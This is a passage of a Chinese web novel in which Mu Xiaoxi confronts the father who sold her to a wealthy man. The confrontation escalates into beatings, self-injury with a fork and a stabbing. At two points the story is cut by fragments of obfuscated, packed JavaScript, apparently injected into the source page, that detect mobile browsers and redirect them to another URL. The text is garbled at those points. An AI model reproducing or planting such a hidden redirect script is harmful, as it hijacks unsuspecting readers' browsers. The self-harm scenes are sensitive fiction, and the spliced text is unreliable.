木钧今天来是什么目的,他很清楚。如果是钱成滨那里走漏了消息,也不奇怪,钱成滨跟他关系不错,算是他的半个亲兄弟,于珍也因此待他比较亲切,会允许他探望也很正常。 他让钱成滨去处理木钧的事,以木钧的性格和如今的处境,会打探这些消息也不是没有可能性。他唯一没想到的是,钱成滨竟然能跟木钧那种人坐到一桌去,该说他的眼光不好,还是说木钧的能力够强呢?也许都有。 十四年前就被木钧下了一回套,十年前第二次,一个月前第三次,如今……他看着轮椅上的女孩儿。第四次了。 “木钧在里面。”他坐到椅子上。 女孩儿转过头来。依然不出意外,他看到女孩儿脸上强撑的镇定和弥漫的惶恐无助。 “爸爸他……”哪怕事到如今,木晓晞依然开口还是“爸爸”两个字,“他为什么会……”她看了手机拦截的号码里,并没有木钧,没有木家人,也就意味着木家人自那以后从头到尾就没有联系过她,所以连拦截也无从谈起。也意味着,木钧今天来,是完全没有想过要通知她的,是一次没有预告的行动。 没有预告,也就意味着没有选择,甚至连提前准备的余地都没有。 她反复地张嘴,可却不知道该说什么,复杂的混乱的识别不出来的情绪在心里挤成一团,她不知道那是什么,也不知道该怎么表达,只能不断地通过捏紧手抓紧轮椅扶手来缓解。 “我不知道他要来。”她跟椅子边的男人说,“我真的不知道。” 徐敬孚:“我知道。”顿了顿,又说,“我知道你不知道。” 木晓晞看到他认真说话的表情,忽然感到强烈的情绪堆在嗓子眼,但一张嘴,却只发出了一声像叹气又像是笑的声音,杂乱无章的脑子里开始频繁地想起很多事,想到从第一次见面徐敬孚问她喝什么,想到徐敬孚听到木钧说“年纪是不是差得有点多”时的表情,想到后来她找到他说要选第二个选项时,他说的那些羞辱的话,还想到了在西餐厅时挨的那一记重重的带着强烈的愤怒的耳光。 想到那一层风格迥然不同的绿色盈盈的房子,那一束放在床头柜的鲜花。 想到在餐馆时他说的“再给她一次机会”。 想到摔倒后他问她的那一句“疼吗”,想到那一瓶生理盐水冲到伤口上时的疼痛。 怎么会……怎么会这样。 脑海里不由浮现出那天她坐飞机回去,在那座她生活了十几年的城市的普通病房外听到的一切,所看到的一切。一切好像是个梦,很可怕的,很荒谬的,很没有逻辑的一个噩梦。 “对不起。”她说,“对不起,徐叔叔。” 她现在很糊涂,还有点想不明白自己为什么要道这个歉,但是感觉应该要道。 徐敬孚的手机再次亮起,徐休催促的电话又打过来了,他看了下,挂断了,站起身来:“不想去的话,就不去吧。”他把轮椅的刹车打开,准备掉头 ,“我先把你送到行政楼,一会儿来接你。” 说着,就准备往回走。 “不。”木晓晞一下按住他的手,回头跟他说,“我要去。” 徐敬孚停下来,再次跟她说:“你可以不去。” 木晓晞摇头,定定看着他:“我要去。” “……” “我要去,叔叔。” 徐敬孚深深吸了口气:“我会处理好的。” 木晓晞说:“他是不是又要来问你要钱?问你爸爸妈妈要钱?” “……我不知道。” “他就是来要钱的,我知道。”木晓晞吸了下鼻子,笑了下,“我知道他想把我卖个好价钱。” 徐休的电话又来了一次,徐敬孚还是挂断了。 见他并不推着自己前进,木晓晞直接从轮椅上下来了,忍着疼痛自己往前走,走了几步回过头,再一次跟徐敬孚说:“我要去。” 徐敬孚觉得她很陌生,但好像又开始变得熟悉。 “我的价格,我自己谈。”她说。 在徐休彻底被激怒之前,房间的门终于被推开了,徐敬孚和那个小女孩出现在了门口。 木钧在看到木晓晞的一瞬间一下从座位上弹了起来:“女儿!” 而木晓晞不自觉地往徐敬孚背后躲了一下,这一躲,把木钧给躲愣了。 徐休也注意到了这一细节,挑了下眉。 于珍看不清远处,只能听到声音,她眯着眼,脸上满是欣喜:“是乔儿来了吗?乔儿,乔儿,快来,快进来,还有那个,那个……” “木晓晞。”徐休补充道。 “对,对,晓晞,晓晞也来了,快进来坐。”她往起来撑起身体,徐休连忙过去扶她。 徐敬孚淡淡地扫过木钧,手放在木晓晞的后背上,将她轻轻往前搂着走了进去。没有在木钧身边停留,直直越过了他来到于珍面前。 “妈。” 木晓晞看到一旁的徐休,和他稍微弯腰行了个礼,然后又跟床上的老妇人鞠了一躬,张了张嘴,她不知道该怎么叫。 徐敬孚教她:“叫老夫人就好。” 徐休:“……” 木钧:“……” 木晓晞又鞠了一躬:“老夫人好,我是木晓晞。” 于珍笑得殷切又柔和,顺着模糊的人影摸到她的手,拉住她连声道:“好孩子,好孩子,快坐,阿休,有椅子吗?端椅子过来给晓晞坐。” 护工很快端了一把椅子过来放到木晓晞身后,徐敬孚坐到原本木钧的那把椅子上,木钧则站到一旁,若有所思地在木晓晞和徐敬孚之间打量,眉眼之间有藏不住的惊喜。 “晓晞是吗?哪个晓,哪个晞?” 木晓晞低声讲:“破晓的晓,日字旁一个希望的希。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200753|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于珍笑容满面,连声道:“好名字,亲家公会取名,破晓的晓,晞光的晞,好啊,破晓前的日光,那是星星啊。” 木晓晞愣住。 徐敬孚也一下抬起眼来:“妈。” “乔儿就喜欢看星星,他一不高兴就要去山上看星星的。”于珍笑道,眼中忽然有些泪花,“真是好啊,亲家公这名字取得真好啊。” 木钧忙上前一步在一旁欠身笑道:“没有没有,随便取的,而且这名字严格意义上讲都不是我取的,是……”他看了一眼徐敬孚。 只见徐敬孚的眼中满是愤怒的警告,他便住了嘴。 “是晓晞自己想取的这个名字。”他识相地改口道,脸上的谄媚和得意藏都不藏一下。 “好,好,缘分啊,缘分。”于珍拉着木晓晞的手,摸着她的手背,“好孩子,你们……你跟乔儿……”她顿了顿,又看向徐休那一边,小声问,“我这么问是不是不太好,我能问吗?” 她虽这样说着,但却一直使劲眯着眼睛看木晓晞的脸,试图把她看得更清楚一点。 木晓晞不知道自己该怎么反应,只能不知所措地礼貌地笑。 徐敬孚替徐休道:“回头我会跟你再说,妈,女孩脸皮薄。” 见到徐敬孚维护女孩儿,于珍笑得更深:“好,回头再说,那我现在起来,亲家公还没用餐,我们一起去餐厅吃个饭吧?亲家公你说呢?” “好……”木钧连忙要接话。 “不了。”徐敬孚拒绝道,“晓晞刚刚来的路上不小心摔了一跤,腿受伤了,不方便再走路过去餐厅。”他看向木钧,“木总没吃吗?” 木钧连忙说道:“不饿不饿,是亲家母太客气了。”说着,这才看到木晓晞手腕上的那一圈纱布,“晓晞你摔了?” 木晓晞看都不看他,也不回,只是低着头跟于珍说:“我和……我和徐总吃过了老夫人,我不去吃了。” “你摔了?摔得怎么样?”于珍担心地连连发问,“伤口大吗?处理了吗?疼不疼?哎哟,我这眼睛什么都看不清,除了腿,还有哪里伤到吗?疼的厉害吗?” 语气里的急切不似作伪,让木晓晞一下眼眶又酸了几分。她摇头:“不疼了,徐……徐总帮我处理了。” “哎呀。”于珍拍拍徐敬孚,埋怨道,“你怎么不告诉我,明明知道我这眼睛瞎。” 说着又拉着木晓晞说了一大串关怀的话。 都是很老套的一些关怀话语。 几人也不打断她,有着她絮絮叨叨,平日里于珍都病殃殃的,话也不多,今天难得说这么多,看得出来非常开心,颇有点精神气回炉的样子。她心情好,徐休的脸色也就没有那么难看了。 这期间木钧一直非常低调地站在一旁,笑容可掬地看着,好似一个非常慈祥的父亲。木晓晞则笑着和老夫人时不时地搭话,徐敬孚也时不时地附和一两句。 寒暄了一会儿有的没的,全是些没什么营养的车轱辘话,也忘了吃饭的事了,人老了就是这样,更不要说于珍如今已经病得连脑子清楚的时候都不太多了,能像今晚这样精神奕奕地说一些场面话,对徐敬孚和徐休来说已经是一种莫大的安慰。 顺着老太太说了一会儿,眼看着老太太的声音越来越低,哈欠也打上了,说话也开始前言不搭后语,徐敬孚才打断道:“妈,你累了就先休息一会儿,我带晓晞和木总去餐厅坐一会儿,他们父女好久没见,也有话要说。” “亲家公?哎呀,你看我,亲家公饭都没吃……” “我们先去吃饭,你先睡会儿,等我们吃完了,我再带他们过来。”说着徐敬孚放下她后背的枕头,给她盖上了薄毯子,跟强撑着眼睛还想说点什么的她道:“以后有的是时间,你想跟晓晞聊,随时都可以。” “晓晞……” 木晓晞连忙点头:“您先休息老夫人,您想见我,我随时都可以来。” 于珍疲惫地眨了眨眼,握着她的手,强行让自己清醒着:“真的?” 木晓晞:“真的。” 于珍摩挲着她的手,又摸到徐敬孚的手:“乔儿,真的?” 徐敬孚:“……” 于珍:“乔儿。” 木晓晞替徐敬孚说:“真的老夫人。” 于珍不满意,拉着徐敬孚的手再次问:“乔儿?” 徐敬孚看了眼木晓晞,又看了一眼一旁喜形于色的木钧和不发一言用目光警告他的徐休,腮帮子动了动,说:“好。” 于珍说:“你要好好对晓晞,知不知道?” 徐敬孚不想再说。 空气的停滞让于珍有些不安:“乔儿?” 徐敬孚再次看向木钧,如果不是在于珍面前,他可能已经提着椅子把木钧那张笑脸砸得稀巴烂了。徐休说得没错,他做了很愚蠢的决定。 他闭了闭眼,深吸了一口气,准备开口。 “他一直都对我很好。”木晓晞说。 他怔住了。 木晓晞拉着老夫人的手,很认真地跟她说:“他对我一直很好,不用担心老夫人,他对我很好,他很好。” 于珍一下眼泪就溢了出来。 徐敬孚不愿再在这里做戏,起身跟木钧示意,让他到外面去。他跟木晓晞说:“你先在这里陪陪我妈,等她睡了,你来餐厅找我。”之后又跟保镖说,“她腿上有伤,你一会儿送她到餐厅来,轮椅在门口。” 之后他便离开了房间,木钧紧随其后,走之前他深深看了眼背对着他坐在床边的木晓晞,待他们离开后,徐休在屋里看着于珍在木晓晞轻轻拍打着手背之下慢慢闭上眼之后,也起身跟着一起出去了。 出了别墅大门走了一段路,徐敬孚停了下来,原地站了好一阵之后,他转过身冲木钧招了招手。木钧不再掩饰自己的得意,无所畏惧地上前,徐敬孚一拳砸过去将他重重砸到地上,也依旧没将他浑身的喜悦给打掉,反而让他脸上的笑意更深。 “女婿,下手有点重了。”他从地上爬起来,顶了下满是血腥的腮帮子,仿若一个赢家,“亲家母要知道的话,会难过的。” 徐敬孚第二拳就要砸过去,徐休过来了,拦住了他的拳头。 “跟个流氓打什么,掉价。” 15. 第 15 章 (十五) 徐休刚离开房间,关上门,床上的老太太就慢慢睁开了眼。 木晓晞还在轻轻地拍打着老太太的手背。 “孩子。” 木晓晞“嗯”了一声。 老太太缓缓抬起手臂,干枯的手小心地极度温柔地摸了摸她的脸颊:“不难过了,啊。” 木晓晞猛地一颤,抬头看去,却见老太太慢慢闭上眼,放下手来。这一次像是真的睡着了,胸口轻微均匀地起伏着,细细的呼吸声轻轻地飘在空中。 好像一切都是幻觉。 她久久地坐着,不知坐了多久,她将老太太的手轻缓地放到床上,再拉过薄被子小心翼翼地给她盖上。她站在床边看着这个头发花白面容憔悴衰老,慈祥而陌生的老人,这是她们的第一次见面。 她忍不住抬起手摸了摸自己的脸,摸了摸自己的眼睛,是干的。她又摸摸自己的嘴角,也是弯着的。 腿上的疼痛还在持续,若不是这疼痛,她想她都快感觉不到她的身体。若不是这句“不难过了”,她可能也感受不到自己的心情。 木晓晞,你很难过吗?连一个初次见面眼睛不好的老太太都看出来了。 可你又有什么资格难过呢?就是因为你,让大家烦恼了。 大约是以为她要离开,门口的保镖悄无声息地推着轮椅过来,护工过来帮忙扶着她坐到轮椅上。她其实根本不需要扶,可她也没挣扎,没解释,没发出声音,她不想吵到老太太。 她不想给大家再添麻烦了。 “亲家这话说得……”木钧龇了龇牙,嘶了一声,摇摇头,“真不好听。” 徐敬孚一只手被拦了,下一秒另一只手就攥成拳头挥了上去。不过木钧往后躲了一下,没叫他打着。 “不好听,但是是实话。”和阴沉暴戾的徐敬孚不同,徐休看起来倒是很休闲,一反之前在病房时的严肃冰冷,他甚至还笑了起来:“不是没吃饭吗?亲家公这顿饭,我请了,管够。” 说着他放下徐敬孚的手,对着木钧做了个“请”的手势。 木钧这会儿不做戏了,态度便没有在里头那么恭敬有礼了,他一手擦掉嘴边的血迹,双手插在裤兜里,开玩笑说:“徐董徐总两个人一起,不会要请我吃什么好果子吧?” 徐敬孚说:“你是不是以为,有木晓晞在,我不敢把你怎么样?” 木钧笑了起来,颇有些胜券在握的样子,嘴上却说:“那我可不敢小瞧徐总。”顿了顿,“不过,徐总也不该小看我,毕竟……”他指了指自己脚下,“光着脚呢。” 他又对着徐敬孚身上的着装比划了一下,挑衅意味不言而喻。 徐敬孚很少这样因为怒火而失控,这么多年来,能达到这个成就的一共就两个人,很巧,两个都是木家的。他闭了一下眼,扭过头朝着餐厅的方向走去。 徐休在后头还很自然地招呼木钧:“亲家公,请。” 木钧笑着也跟他比一下手势,然后很是潇洒地往前走去。 他本来也要跟上,但余光一扫,瞧见了正从别墅里出来的木晓晞,她正被保镖推着往这边走来。 这个点了,其实也没什么饭了,只剩个煮面的师傅还没回宿舍。木钧也不怎么挑,叫人给他煮碗面上来,加个鸡蛋就成,徐休也跟着要了一碗,除了鸡蛋,还加了一份青菜。 “你也来一碗?”徐休靠在吧台边示意徐敬孚,“吃饱再说话。” “倒胃口 ,吃不下。”徐敬孚说着便往一侧包厢里走去。 徐休跟一旁的木钧说:“要不你也加份菜,不然营养不均衡。” 木钧笑:“不是个吃素的。” 徐休:“适当吃点素,对你有好处。” 说着,他扭头往门外看,像在等什么。木钧顺着他的目光看:“晓晞过来了?” 徐休收回目光,斜眼瞧着他笑:“你女儿长得可不像你,看着都不像一家人。” 木钧:“徐总倒是跟徐董像惨了,从样貌到性格,像了个全,看着就像一家人。” 徐休脸上的笑意更深:“木总这次看来是有备而来,像是饿着急了,一碗面够吗?不够再来一碗?” “够了。”说着,木钧挥挥手,先去了包厢里。 随着他走远,木钧脸上的笑意慢慢收起。 木晓晞自己一个人走来的时候,两人连面都吃得差不多了,正在喝汤了。她的姗姗来迟并不让人惊讶,很明显,红肿的眼眶和微微发红的鼻尖昭示着她已经在外面哭过一场。 木钧看到她来了,连忙起身过去扶她:“哎呀女儿,你的轮椅呢?怎么是自己走过来的?腿疼不疼啊?伤到哪条腿了?左腿还是右腿?怎么伤的?” 徐敬孚的眼神从她进来就一直落在了她的脸上。 木晓晞也看到了他,不由低了一下眼回避了他的目光,她由着木钧将她推到自己的座位边上坐下,听着他假惺惺的“嘘寒问暖”:“最近怎么样女儿?好久没问你了,怎么感觉比上次见面时又瘦了呢?吃得不好吗?” 说着,他试图去拉木晓晞的手。 木晓晞抬起手臂躲开。 木钧:“……” 木晓晞看了眼桌上的面碗:“吃完了吗?” “我好了。”徐休放下筷子说,他吃饭一向很快。 木钧回头看了眼自己剩的半碗面,又看看木晓晞那张格外生疏冷淡的脸,又抬眼瞧了瞧徐家父子,也不知道他想到了什么,他说:“女儿,你好像不开心?” 坐在最里侧的徐敬孚站了起来。徐休的眼神跟随他来到了木晓晞的身边,看到他将木晓晞扶起来往里头走,让她坐到了自己原本的位置上。 这样的话,木晓晞就是坐在徐家父子中间,和对面的木钧形成了明显的两个阵营。 徐休对此并不发表任何意见,只是给自己倒了杯水慢慢喝,喝完亲手给木晓晞也倒了一杯。 木晓晞双手接过他倒的水:“谢谢徐董事。” 徐敬孚问她:“吃不吃东西?” 木晓晞摇头。 木钧似笑非笑地看着他们的互动,忽然说:“女儿,我这儿还剩的有半碗面,你饿了也可以吃。” 他这一句,让房间直接陷入了沉默。 徐休岿然不动地喝水。 徐敬孚现在也不再像前头那样暴怒,脸上什么也看不出来,他拿了一张纸,静静地递给因为这样一句话而直直落下眼泪的木晓晞。 木晓晞即使流着泪,脸上也没有任何伤心的表情,一如那一天她来办公室告知徐敬孚要选第二个选择时。泪不像泪,像冲洗眼睛脏东西的生理盐水。 她也并不掩饰自己的眼泪,也不再躲避大家的眼神,她高高抬起下巴直直地盯着坐在她对面的那个男人。她的亲生父亲,她的爸爸,她在这个世界上按道理讲应该是最亲没有之一的人。 “你是真心说这个话的吗?”她问木钧。 木钧不说话,似笑非笑的脸上似乎带着隐隐的愠怒。 “让我吃你的剩饭。”她问,“你是什么意思呢?” “……” 木晓晞拿纸擦了眼泪:“说话。” 木钧:“……” 木晓晞:“不敢解释?” 木钧盯着她哂笑道:“我有什么不敢解释的?字面意思。” 木晓晞:“你在笑什么?” 木钧:“觉得好笑。” 木晓晞:“哪里好笑。” 木钧笑着摇摇头,并不说。 “那我猜猜?” “……” 徐敬孚侧过头,看到木晓晞镇定又平静地说:“我猜,你觉得我是一个狼心狗肺的白眼狼,对吗?” 闻言,喝着水的徐休微微挑了下眉。 “我一个普普通通智商不高的小女生,能攀上徐家人,能跟在徐敬孚身边,住上大房子,吃上好饭菜,拿着高额的零花钱,是我的福气。” 木晓晞一直都很清楚木钧是怎么样的人,再怎么生疏,怎么少相处,他也是她最亲的人,她的爸爸,她曾经仰望的天神一样的人物。对于一个吃喝拉撒都得靠父母的孩子来说,对于一个像她这种哪怕住在自己的家也需要仰人鼻息的人来说,她每天只要在家里,最重要的事永远都不会是自己的事,而是木钧的事,爸爸的事。 爸爸的喜怒哀乐,爸爸的忧愁烦恼,爸爸的想法念头,爸爸的计划目标。 爸爸为什么不开心了?爸爸为什么和妈妈吵架了?爸爸为什么说她做得不好?爸爸为什么更喜欢弟弟?爸爸为什么喜欢穿白色的衣服?爸爸为什么喝酒了?爸爸为什么带她出去应酬?爸爸为什么……为什么……为什么…… 没有人比她更清楚为什么,也没有人比她明白木钧在想什么。这也不是什么特殊的本事,任何人用二十年的时间去研究一样东西,都会成为专家。 “以我的本事,毕业以后找一份普通的工作,拿着一个月几千撑死万把块的工资,到了结婚的年纪找一个比我好不到哪里去的普通男生,就这样平凡地过一生,这是我原本的人生轨迹。” “我没有雄心壮志,几十块钱的T恤我可以穿,十几块的菜我可以吃,一个月两千五的生活费,我还可以省下来一千五,我不认识大众以外的车,对名牌的认知停留在法语文化课的课本上。” “我害怕竞争,害怕吵架,哪怕你当着我的面撒谎说买给妈妈和弟弟的东西是假货,我也不会去跟你争取公平,不会去找他们理论,不会表达自己的不满,也不会装可爱流眼泪去祈求你给我同样的待遇。” “在你眼里,我是个蠢货。” “窝囊,平庸,安于现状。” “对于你来说,这是一种羞耻,你不想承认这是你遗传下来的基因。”木晓晞像是在解析一个她并不认识的人,解读一段她并不熟悉的人生,“所以你给了我一个机会,一个可以打翻身仗的大平台。” 徐休放下杯子,看到木钧逐渐铁青的脸色,笑了笑。 徐敬孚深深地吸了口气。 “这是我的福分,而这福分,是你送给我的。” “我应该感恩。” 木晓晞看着木钧脸上愈加嘲弄的笑容:“徐敬孚未婚,长得不差年纪也不算多大,事业有成家财万贯,配个脑子简单的木晓晞绰绰有余,亏吗?不亏吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200754|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听到这段话,木钧脸上的笑慢慢地收了一些。 “打工一年下来能搞到几个钱?还不如趁年轻,有资本,走点轻松的路,万一……” 木晓晞知道木钧不爱听这些,因为他自认为自己是一个英明有远见且用心良苦的父亲,可她要说的就是他不爱听的,哪怕代价是也要将自己丢到地上去践踏。 “爸爸。”她喊了一声,“万一我被徐叔叔看上了,会怎么样呢?” 木钧平时很喜欢笑,所以眼角鱼尾纹很多,但这会儿他没笑。 “爸爸,你想把我卖几个钱?” 徐敬孚听不下去了,按住她的手臂:“好了,不要说了。” 木晓晞看了他一眼:“徐叔叔,你出了多少钱?” 徐敬孚忍着怒火:“好了,可以了。” “爸爸,叔叔买我花了多少钱?”她转头问木钧。 木钧不说话。 “爸爸。”她再叫一次。 徐敬孚深吸一口气,问她:“你这么想知道?” 木晓晞直视他:“对。” 徐敬孚怒极而笑:“好,那我告诉你,两千万现金。” 徐休敲着腿的手指停了一下。 木晓晞眼眶红了起来:“叔叔之前不是说,我连一百万都不值吗?” “木晓晞,你到底想说什么?” “给多了。” “好了,我不想跟你个小孩说这些,我先带你出去。”说着徐敬孚就站起来拽她。 奈何木晓晞死死地坐在座位上,比他还要固执:“我说了,我要自己谈价。” “木晓晓!” 木晓晞甩开他的手,跟木钧说:“爸爸,两千万是我一辈子都赚不来的钱,你最好见好就收,别到头来竹篮打水一场空。” 木钧:“你在威胁我?” “对。” “可笑,亲女儿帮着外人威胁亲爹。”木钧笑着问,“好,就假如说你可以威胁,你能拿什么威胁我?你有什么?你以为你算什么?”他好笑地笑出了声,“女儿,你以为我是靠你走到今天的?你以为我是靠你才能到现在还稳稳地坐在这里的?天真,真的,太天真了,你有什么可威胁我的?和我断绝父女关系?还是怎么?” 他面露狰狞,被公然戳破了伪善父亲的形象后,他也不再掩饰自己真实的一面。他看到木晓晞一脸决绝的模样,好似惊讶地“嘶”了一声,做出恍然大悟的样子:“哦,我明白了,你觉得你的命值钱。” 徐敬孚抄起徐休那个碗就朝徐休怒砸了过去:“闭嘴!” 碗被木钧抬手臂挡开了,汤水落了他一脸一身,他也照样一副有被好笑到的样子:“你的命对别人来说值不值钱我不知道,但是我告诉你啊,木晓晞,你的命是我给的。” “木钧!” “你说精子冲到马桶里,我会不会多看一眼?” 这话给徐休都听笑了。他不打算再跟这种流氓多说,也站起身来。 木晓晞:“爸爸。” 木钧:“不要叫我爸爸,你该叫他爸爸。”他指着徐敬孚,“花了两千万买你的爸爸。” 徐敬孚直接提起一把椅子朝着木钧扔了过去,将他直直砸倒,接着几步绕过桌子将他提起来,一拳砸歪,再提起来朝着墙撞去。 “徐敬孚!”徐休拦住他,“住手!” 木晓晞看着满脸是血的木钧:“你的意思是,我就算死了你也不会怎么样。” 木钧吐了口血:“对。” 木晓晞走到餐边柜旁边,从里面翻出一把叉子,然后走到木钧身边,将徐敬孚推开,把叉子放到他手里。 “这个?”木钧笑得直不起腰,“拿这个自杀?哈哈哈我的女儿啊。” 正笑着,木晓晞突然拉着他的手往自己的膝盖重重地插下去,这一下木钧没反应过来,等他反应过来时,膝盖受伤的位置已经溢出了血来。 徐敬孚见状要去拉木晓晞,结果被徐休拉住了。 木晓晞第二次便是拉着木钧的手毫不犹豫地往自己的眼睛戳。 “晓晓!”徐敬孚怒道。 木钧猛地一缩手,整个人因惯性栽倒在地上,因为扯得太用力,叉子柄反倒将他自己的眼睛差点戳到,眼角红了一大片。 “你他妈的,想死是吧,想死……为了他们……”木钧一下眼眶发红,他爬起来把叉子大力地砸出去,“好,白眼狼是吧?跟我作对是吧?为了他们?为了你的新爹?你的新爸爸?你有种,木晓晞,从没见到你这么有种过。” 他使劲地拍手鼓掌,眼睛红得不像样。 “看起来你的新爸爸很在乎你,好,那正好。”他看向徐敬孚,抬抬手,“钱你看着给吧,你觉得她值多少,就给多少,我给你徐敬孚这个做爹的机会,你可以买断。” 话音落下,一个叉子狠狠地插到了他的胸口。不知道是用了多大的力气,才能用那样圆盾的叉子将衣服插破,将几根齿扎进了皮肉之中。 不深,但足够让木钧痛得流下眼泪来。 “你去死。”木晓晞抓着叉子流着泪无比憎恨地看着他,一字一句地说,“你,才,应,该,去,死。” 16. 第 16 章 (十六) 连着三天,木晓晞都一直是在吃了睡睡了吃的状态中度过。她不知道自己为什么会突然这么困,困得眼睛都睁不开,吃着饭都在打瞌睡。 不过比较好的是,并没有做什么噩梦,但也做了很多奇怪的梦,比如她梦到自己总是在一些空旷的没有人的地方行走,有的时候是在找什么东西,有时是在找出口,有时是在找回家的路。 还有一个梦她记得很清楚,很奇特,她梦到自己是一个螃蟹人,在地下隧道被一个科学怪人敲碎了自己的壳,将她赶出来了,好像是要把她的壳拿去加工什么工艺品做展览,但她在梦里的设定是不能离开自己的壳太久,否则的话就会死掉。于是她就踏上了寻找自己躯壳的旅行,一路看,一路找,最终她找到了。 “木小姐……”王阿姨来定点叫她起床,到吃午饭的时间了,她在门口敲了敲,“木小姐,醒了没有?” “嗯。”木晓晞慢慢坐起来,一时有点分不清是现实还是梦境,糊里糊涂。 “饭快要做好了,你下楼来吃吗?还是端上来?” 木晓晞转动着眼珠一寸一寸地打量四周,看到床头亮着的小夜灯,软绵的地垫,薄薄的淡绿色的毯子,梳妆台上的向日葵,窗帘半拉开着,从敞开的窗户外传来滴滴答答的小雨声,那是雨滴落在窗外叶片上的动静,叶片和泥土的混合清香顺着纱窗飘进来,将半透明的纱帘推得扬起,拥到她的脸上,打招呼一般软软地亲吻着她的脸颊。 “木小姐?” “……” “木……” “不用叫了。”一个男人的低沉的声音从门口低低地传进来,“让她睡吧。” 木晓晞一下子转头看向门口。 “好的,那您是在下面吃还是……” “我就不……” 木晓晞从床上下来时太慌张,受伤的腿先着地,伤口拉扯的疼痛差点让她摔倒,不过还是勉强稳住了,她冲到门口打开门:“叔叔。” 她看到门口的男人露出了惊讶的神情:“你……” 她发现他的目光只是很短暂地在自己身上停了一瞬,像是有一丝的停滞,紧接着便将挪开眼睛:“我先到楼下去。”说着便直接下楼去了。 “叔……” “晓晞,先进去……”王阿姨连忙把她拉进屋里,“先收拾一下。” 木晓晞还有些懵。 王阿姨看她一脸懵懂,有点无奈地提醒她:“晓晞,你衣服还没换……” 木晓晞眨了眨眼,生锈的大脑缓冲了几秒,这才顺着王阿姨的提示往下看去,她这才发现自己还穿着睡裙。她一下想到刚刚男人的眼神,又低头看看,慢慢地反应了过来。 “……晓晞?”这几天,阿姨叫她不再只叫“木小姐”了,至少两个人独处的时候不这样叫了,不知道是不是因为没有被辞退的缘故。 她跟李香榕两个最后还是留下来了,陈秘书告诉她,让她记着木晓晞的情。所以应该是小姑娘帮她们求情了,这是她们没想到的。 无亲无故,不过一起相处几天,基本上连话都不说,当时去求情的时候只是急着了,其实连她自己也是没有抱任何希望的,甚至当天晚上她和李香榕都已经收拾好了自己的行李,却没想到第二天陈秘书亲自给她们打电话,说徐总决定再给她们一次机会。 然后当她回到别墅,就看到了一个没了魂儿的受伤的小姑娘,还有一条满是泥水的已经破了洞的白裙子。 她知道这条裙子。小姑娘很宝贝,特地跟她交代过,这条裙子她自己洗。 不知道那天晚上发生了什么,总之徐总将她和王俊丽罕见地叫进了他二楼的办公室里,跟她们说:“多关注木晓晞最近的情况,外面的纱窗我会叫人来焊死,家里所有的利器全部收起来看好,不要让她接触,平时也不要让她独自一个人待着,每晚去一个人到她屋里的沙发上陪睡。” 雇主的家事,她们是不能过问的,只能带着自己的猜想去执行。 她们也是长着眼睛的,木晓晞是个什么样的小姑娘,她们这么大的年纪了也不是看不出来,话很少,但是很有礼貌,总是一个人安静待着,从不挑剔任何事,几次三番拒绝她们称呼小姐,每一次下来看到她们都会招呼一两句。 她们当然有着满肚子的好奇,木晓晞是什么人,是什么身份,她们从李秀那里有所听闻,一开始也因为这个“听闻”而心里多少有点自己的想法,一个二十岁大学还没毕业的小姑娘和一个三十七八岁的男人,光是这样的年龄搭配就不算是什么好新闻。 不过她们不能有任何的评价,所以也只能是尽量不出错地做事,叫着她“木小姐”。但她知道,也看得出来,每一次小姑娘被她们叫“木小姐”的时候浑身是有不自在的,也因此要求她们好几次“叫我名字就可以了”,可她们不敢,怕给自己惹麻烦,后来,木晓晞也就不要求了。 只是能感觉得到,她逐渐地开始更加封闭起来,从一开始的偶尔还会下下楼,到后来连楼都不下,不是窝在书房看书,就是在卧室里睡觉,连吃饭都是端上去在楼上解决。 比起这个家的“女主人”,她反而更像是个拘谨的客人。 好不容易徐总回来了一次,将她带出去了一次,回来后孩子就变成了这个样子,都不是什么客人了,像成了一具没有魂魄的人偶。 醒着的时候不是发呆,就是走神。 “你穿哪一件,要不要帮忙?”她将木晓晞带到衣帽间旁边,一件一件拿出来给她看,让她选。她觉得自己现在像在照顾一个年龄很小的生活难以自理的宝宝,不是有人要求她这样做,是她直觉木晓晞现在需要被这样照顾。 木晓晞看看她,摇摇头:“不要。” “那这一条运动裤呢?比较宽松,穿起来腿舒服一点。” 小姑娘带来的衣服并不多,一共就五套,一条睡裙,四套日常衣服,除了那条白裙子像样一点,其他看起来都是几十块的东西,比她自己的孩子穿得还要差一些。 “这个不要,那这套?很可爱。”一件淡粉色的有卡通图案的短袖和一条及膝短裤。有点幼稚。 木晓晞还是迟钝地摇头,就这么几套,这也不穿那也不要,也没有衣服了,徐总那么大个老板,也没想着说给她买点衣服。王俊丽在心里正抱怨着,只见小姑娘突然像想起了什么。 “阿姨,我的裙子呢?” 裙子? 王俊丽小心翼翼地说:“裙子洗好了,也干了,不过没有拿上来,徐总说裙子不要了。” 木晓晞一下子露出了疑惑而受伤的表情:“为什么不要了?” “前面膝盖的地方磨破了一个洞,腋窝那里也滑丝了,是丝质的裙子,没法缝。” “那是我的裙子。”木晓晞大脑一片空白,只觉得很不理解,很难受,理智上她能理解那条裙子破了不能穿了,但她接受不了别人把她的裙子扔了,那是她最喜欢的一条裙子。 她随手拿过王俊丽手里的衣服穿好,然后去洗手间迅速地洗漱,扎好头发,一瘸一拐地下了楼。 已经是中午了。 楼下有着浓浓的饭香味,今天阿姨炖了药材鸡汤。 李香榕在厨房忙碌,见木晓晞下来了,连忙拿着锅铲出来招呼:“木小姐你醒啦,饭马上就好了。” 木晓晞急切地问她:“徐叔叔呢?” 